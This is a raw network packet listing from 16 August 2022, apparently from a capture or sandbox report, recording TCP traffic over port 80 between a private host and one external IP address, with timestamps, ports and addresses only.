Aug 16, 2022 11:53:25.461114883 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.461133003 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.461184025 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.461242914 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.461251020 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.462686062 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.463465929 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.596379042 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.596409082 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.596457005 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.596493006 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.596776962 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.598231077 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.687838078 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.687920094 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.688358068 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.700798035 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.824898958 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.829252005 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.829336882 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.838730097 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.912617922 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.913363934 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.913405895 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.913443089 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.913454056 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.913482904 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.913486958 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.913497925 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.913522005 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.913548946 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.913561106 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.913573980 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.913600922 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.913633108 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.913636923 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.913645029 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.913676023 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.913686991 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.913714886 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.913722992 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.913760900 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.931232929 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.069147110 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.069211960 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.069252968 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.069288969 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.069293976 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.069329977 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.069339991 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138195992 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138262987 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138304949 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138305902 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138335943 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138345957 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138349056 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138386965 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138390064 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138425112 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138427973 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138465881 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138483047 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138536930 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138540983 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138580084 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138592005 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138638020 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138650894 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138693094 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138694048 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138734102 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138761997 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138773918 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138773918 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138814926 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138817072 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138855934 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138870955 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138889074 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138896942 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138937950 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138952971 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.138978958 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.138981104 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.139018059 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.139031887 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.139059067 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.139060974 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.139105082 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.263271093 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.363476992 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.363548040 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.363583088 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.363593102 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.363610983 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.363632917 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.363636971 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.363673925 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.363673925 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.363715887 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.363715887 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.363754034 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.363755941 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.363795996 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.363797903 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.363837004 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.363837957 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.363876104 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.363877058 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.363919020 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.363920927 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.363961935 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.363964081 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364001989 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364003897 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364044905 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364047050 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364084005 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364087105 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364125013 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364125013 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364166021 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364166975 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364203930 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364206076 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364244938 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364244938 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364284992 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364285946 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364331961 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364336014 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364391088 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364403963 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364459991 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364481926 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364535093 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364538908 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364592075 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364603996 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364658117 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364660978 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364713907 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364718914 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364767075 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364768982 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364823103 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364833117 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364883900 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364900112 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.364953041 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.364958048 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.365010023 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.365010977 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.365063906 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.365087986 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.365139961 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.365149975 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.365205050 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.365205050 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.365255117 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.365267992 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.365319967 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.410969973 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.487823963 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.487864017 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.487888098 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.487912893 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.487920046 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.487948895 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.487968922 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.556680918 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.570216894 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.589777946 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.589854002 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.589879990 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.589927912 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.593434095 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.594841003 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.790395975 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.790534973 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.813847065 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.819749117 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.819816113 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.819858074 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.819859028 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.819895029 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.819899082 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.819927931 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.819941044 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:26.819963932 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.819992065 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:26.869276047 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:27.085374117 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:27.133383989 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:27.997200966 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:27.997235060 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:27.997258902 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:27.997277975 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:27.997299910 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:27.997319937 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:27.997323036 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:27.997353077 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:27.997361898 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:27.997370005 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:27.997370005 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:27.997375965 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:27.997411013 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:27.997427940 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:27.997909069 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:27.997929096 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:27.997946978 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:27.997961044 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:27.997998953 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:27.998003960 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:27.998024940 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:27.998410940 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:27.998507977 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:27.998603106 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.000678062 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.000706911 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.000736952 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.000756979 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.000763893 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.000830889 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.000896931 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.001100063 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.005166054 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.005206108 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.005274057 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.005311966 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.006386995 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.006427050 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.006465912 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.006479979 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.006486893 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.006594896 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.019850969 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.020473003 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.222069979 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.222093105 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.222138882 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.222146034 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.222182989 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.222183943 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.222188950 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.222259045 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.222333908 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.222372055 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.222430944 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.222467899 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.222534895 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.222569942 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.222626925 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.222675085 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229151964 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229178905 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229197979 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229231119 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229235888 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229269981 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229273081 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229283094 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229290009 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229310989 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229357004 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229377031 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229413986 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229434013 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229473114 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229505062 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229574919 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229597092 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229599953 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229629993 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229674101 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229687929 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229708910 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229748964 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229767084 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229778051 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229788065 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229799986 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.229803085 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229826927 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229861975 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.229867935 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.231441975 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.231522083 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.231703043 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.231769085 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.241842985 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.242379904 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.453623056 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453692913 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453712940 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453731060 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453747988 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453766108 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453785896 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453804016 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453811884 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.453824043 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453843117 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453860998 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453871012 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.453879118 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453900099 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453917027 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.453918934 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453938961 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453958035 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453964949 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.453977108 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.453995943 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.454014063 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.454010963 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.454032898 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.454041004 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.454054117 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.454070091 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.454073906 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.454116106 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.454176903 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.458719015 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.459067106 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.665318012 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665349007 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665374994 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665401936 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665429115 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665453911 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665481091 CEST	80	49197	187.45.240.69	192.168.2.22
